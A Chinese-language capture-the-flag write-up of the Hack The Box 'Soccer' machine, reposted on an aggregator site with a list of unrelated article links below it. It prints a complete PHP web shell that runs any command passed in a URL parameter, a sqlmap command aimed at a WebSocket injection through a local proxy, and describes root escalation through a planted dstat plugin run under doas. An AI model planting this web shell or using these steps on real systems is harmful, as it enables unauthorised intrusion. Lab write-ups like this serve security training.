HTB-soccer

在这里插入图片描述

信息收集

在这里插入图片描述

  • 22 ssh
  • 80 http
  • 9091

对80进行检查。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
搜索得知存在默认登陆密码admin:admin@123 和 user:12345
在这里插入图片描述
右上角有一个upload,试试能不能本地上传。

能够获取上传的路径,但是此文件没有写入权限。
在这里插入图片描述
切换到tiny文件夹再次上传。

在这里插入图片描述
在/tiny/uploads能够上传。
在这里插入图片描述
在这里插入图片描述
上传脚本。

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

在这里插入图片描述
获取shell。
在这里插入图片描述
在/etc/nginx/sites-enabled找到了一个域名。

在这里插入图片描述
进一步探索发现子域名。
在这里插入图片描述
来到新界面。
在这里插入图片描述
先注册一个账号看看。登陆后白嫖一张看球赛的票,并且还可以查询票是否存在。

在这里插入图片描述
奥,看起来有sql注入。

在这里插入图片描述

抓包发现websocket,并且能看到使用的是9091端口。

在这里插入图片描述
源代码里也有。

在这里插入图片描述
简单测试一下

在这里插入图片描述
通过搜索找到此界面。依照界面所述操作。
在这里插入图片描述

修改重要的数据运行,就能够完成sqlmap到websocket的转换。

在这里插入图片描述
运行后会出现一个地址,用sqlmap -u “http://localhost:8081/?id=1” --dbs使用所给的地址。

在这里插入图片描述
获得一个player的凭证。
在这里插入图片描述

立足

通过前面获得的player的凭证登录。
在这里插入图片描述

提权

仔细看了几遍linpeas.sh的扫描结果,排除了部分可能的切入点后发现了这两个程序。

在这里插入图片描述

在这里插入图片描述
dstat是一个信息收集统计工具。
在这里插入图片描述
重点是在使用手册上看到了dstat可以使用插件。
在这里插入图片描述

找到了插件所在位置,但是我们没有对这个插件存放的目录有写入权限。
在这里插入图片描述
通过–list查看插件信息。
在这里插入图片描述
那么问题来了我们没有扩展插件目录写入权限,但是拥有这个目录权限。
在这里插入图片描述

注意dstat插件命名格式是dstat_开头。
在这里插入图片描述
添加dstat_exploit.py,内容如下。
在这里插入图片描述
再次运行–list发现已经识别,动作要稍微快点,应该有个时间任务在某时重置/usr/local/share/dstat目录。
在这里插入图片描述
我们知道有doas命令,并且doas可以对dstat使用。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/5463.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

文心一言,被网友玩坏了哈哈哈哈哈哈哈

现在人工智能正火&#xff0c;百度“文心一言”出来&#xff0c;虽然只是小范围测试&#xff0c;但已经被玩坏了&#xff01;这应该算是卖全羊送狗肉娃娃…菜…也没毛病哈看来对美女还有些误解虎头虎脑的胖大胖小子哈哈哈哈哈鸳鸯和锅都有&#xff0c;还不满意吗什么奇行种似乎…

数据结构和算法(3):递归

目录概述单路递归 Single Recursion多路递归 Multi Recursion递归优化-记忆法递归时间复杂度-Master theorem递归时间复杂度-展开求解概述 定义 计算机科学中&#xff0c;递归是一种解决计算问题的方法&#xff0c;其中解决方案取决于同一类问题的更小子集 In computer scien…

情感语音转换学习

情感语音转换&#xff08;Emotional Voice conversion&#xff09; 言语不仅仅是词汇&#xff0c;它承载着说话者的情感。之前的研究(Mehrabian和Wiener, 1967)表明&#xff0c;在交流情感和态度时&#xff0c;口头语言只传达了7%的信息&#xff0c;非语言的声音属性(38%)和面…

简单研究一下 OpenAI 的官方文档

文档地址&#xff1a;https://platform.openai.com/docs/ 接口说明&#xff1a;https://platform.openai.com/docs/api-reference 一、概览 OpenAI API 可直接调用模型接口&#xff0c;也可在线微调&#xff08;不过只能微调GPT-3系列模型&#xff09;。 本小节主要介绍 toke…

定长内存池的实现

文章目录 什么是内存池 池化技术内存池内存池主要解决的问题malloc定长内存池的实现前言 当前项目是实现一个高并发的内存池&#xff0c;他的原型是Google的一个开源项目tcmalloc&#xff0c;tcmalloc全称Thread-Caching Malloc&#xff0c;即线程缓存的malloc&#xff0c;实现…

python用户价值分析

数据获取&#xff1a; 表格数据 数据清洗后数据&#xff1a;链接&#xff1a;https://pan.baidu.com/s/1D7qOZqKmF3YR3meQPsp3sQ 提取码&#xff1a;1234 数据下载下来后&#xff0c;先进行数据清洗。数据清洗在进行用户价值分析,也可以直接下载我清洗后的数据。 RFM模型&a…

springcloud微服务架构搭建过程

项目地址&#xff1a;源代码 仅作为学习用例使用&#xff0c;是我开发过程中的总结、实际的一部分使用方式 开发环境&#xff1a; jdk11 springboot2.7.6 springcloud2021.0.5 alibabacloud 2021.0.4.0 redis6.0 mysql8.0 一、项目搭建 wdz-api&#xff1a;存放远程服务调用相关…

如何选电脑

1、CPU&#xff08;中央处理器&#xff09; 怎么看CPU型号&#xff1a;CPU:系列-代数等级核心显卡型号电压后缀 例如CPU:i7-10750H &#xff1a; 1、系列&#xff1a;Intel的酷睿i3、i5、i7、i9这四个系列的CPU&#xff0c;数字越大就代表越高端。 2、代数&#xff1a;代表…

自主HttpServer实现(C++实战项目)

文章目录项目介绍CGI技术概念原理设计框架日志文件TCPServer任务类初始化与启动HttpServerHTTP请求结构HTTP响应结构线程回调EndPoint类EndPoint主体框架读取HTTP请求处理HTTP请求CGI处理非CGI处理构建HTTP响应发送HTTP响应接入线程池简单测试项目扩展项目介绍 该项目是一个基…

大厂光环下的功能测试,出去面试自动化一问三不知

在一家公司待久了技术能力反而变弱了&#xff0c;原来的许多知识都会慢慢遗忘&#xff0c;这种情况并不少见。 一个京东员工发帖吐槽&#xff1a;感觉在大厂快待废了&#xff0c;出去面试问自己接口环境搭建、pytest测试框架&#xff0c;自己做点工太久都忘记了。平时用的时候…

无公网IP,SSH远程连接Linux CentOS服务器【内网穿透】

文章目录视频教程1. Linux CentOS安装cpolar2. 创建TCP隧道3. 随机地址公网远程连接4. 固定TCP地址5. 使用固定公网TCP地址SSH远程本次教程我们来实现如何在外公网环境下&#xff0c;SSH远程连接家里/公司的Linux CentOS服务器&#xff0c;无需公网IP&#xff0c;也不需要设置路…

地表最强,接口调试神器Postman ,写得太好了

postman是一款支持http协议的接口调试与测试工具&#xff0c;其主要特点就是功能强大&#xff0c;使用简单且易用性好 。 无论是开发人员进行接口调试&#xff0c;还是测试人员做接口测试&#xff0c;postman都是我们的首选工具之一 。 那么接下来就介绍下postman到底有哪些功…

吉林省互联网医院资质申请条件|牌照申请

吉林省互联网医院资质申请条件|牌照申请|长春市|四平市|辽源市|通化市|白山市|松原市|白城市|延边朝鲜族自治州 吉林省互联网医院资质申请条件   一、《医疗机构管理条例》第十六条申请医疗机构执业登记&#xff0c;应具备下列条件&#xff1a;   1.有设置医疗机构批准书&a…

论文笔记 | 标准误聚类问题

关于标准误的选择&#xff0c;如是否选择稳健性标准误、是否采取聚类标准误。之前一直是困惑的&#xff0c;惯用的做法是类似主题的文献做法。所以这一次&#xff0c;借计量经济学课程之故&#xff0c;较深入学习了标准误的选择问题。 在开始之前推荐一个知乎博主。他阅读了很…

【vue2】axios请求与axios拦截器的使用详解

&#x1f973;博 主&#xff1a;初映CY的前说(前端领域) &#x1f31e;个人信条&#xff1a;想要变成得到&#xff0c;中间还有做到&#xff01; &#x1f918;本文核心&#xff1a;当我们在路由跳转前与后我们可实现触发的操作 【前言】ajax是一种在javaScript代码中发请…

使用对象存储库管理 UFT 中的对象

1. 记录一个新订单 在UFT 菜单栏中&#xff0c;选择 File] New|Test 创建一个新的测试。单击 Record&#xff0c;出现 Record and Run Settings。单击 Record and Run Settings 对话框的OK 按钮。单击 New Order 按钮&#xff0c;设置初始条件。输入以下航班信息。航班日期: 选…

台灯有必要买一百多的吗?2023专家建议孩子买台灯

问题&#xff1a;台灯有必要买一百多的吗&#xff1f; 回答&#xff1a;不建议买一百多的台灯&#xff0c;建议选择国AA级的台灯 现在许多学生出现视力问题&#xff0c;原因是在平时没有注意到不良好的用眼环境 孩子早早戴上小眼镜&#xff0c;家长不惜花心思去买各种视力保护…

flstudio怎么改主题,如何更改FL Studio21背景图片

fl studio作为一款功能强大且实用的音频处理和音乐制作软件&#xff0c;其精致的界面布局一直为众多音乐人所喜爱&#xff0c;但是fl studio编曲软件安装后初始内置的灰黑色工作区背景&#xff0c;难免成为美中不足的一点。 那么用户如何根据自己的喜好设置工作区背景呢&#x…

Java基础知识

Java基础知识 一、计算机开发语言发展 计算机语言总体可分为机器语言、汇编语言、高级语言三大类&#xff0c;这三类开发语言恰恰是计算与开发语言的三个阶段。 机器语言&#xff1a;机器语言是第一代计算机开发语言&#xff0c;是通过最原始的穿孔卡片&#xff08;二进制有孔…

《疯狂Java讲义》读书笔记3

这两天总结了数据结构中栈的用法&#xff0c;对栈的初始化、出栈、入栈的总结&#xff1a; http://t.csdn.cn/7sKjQ 对双栈共享的初始化、入栈、出栈的总结&#xff1a; http://t.csdn.cn/4WXCO 调用父类构造器 子类不会获得父类的构造器&#xff0c;但是可以调用父类构造…
最新文章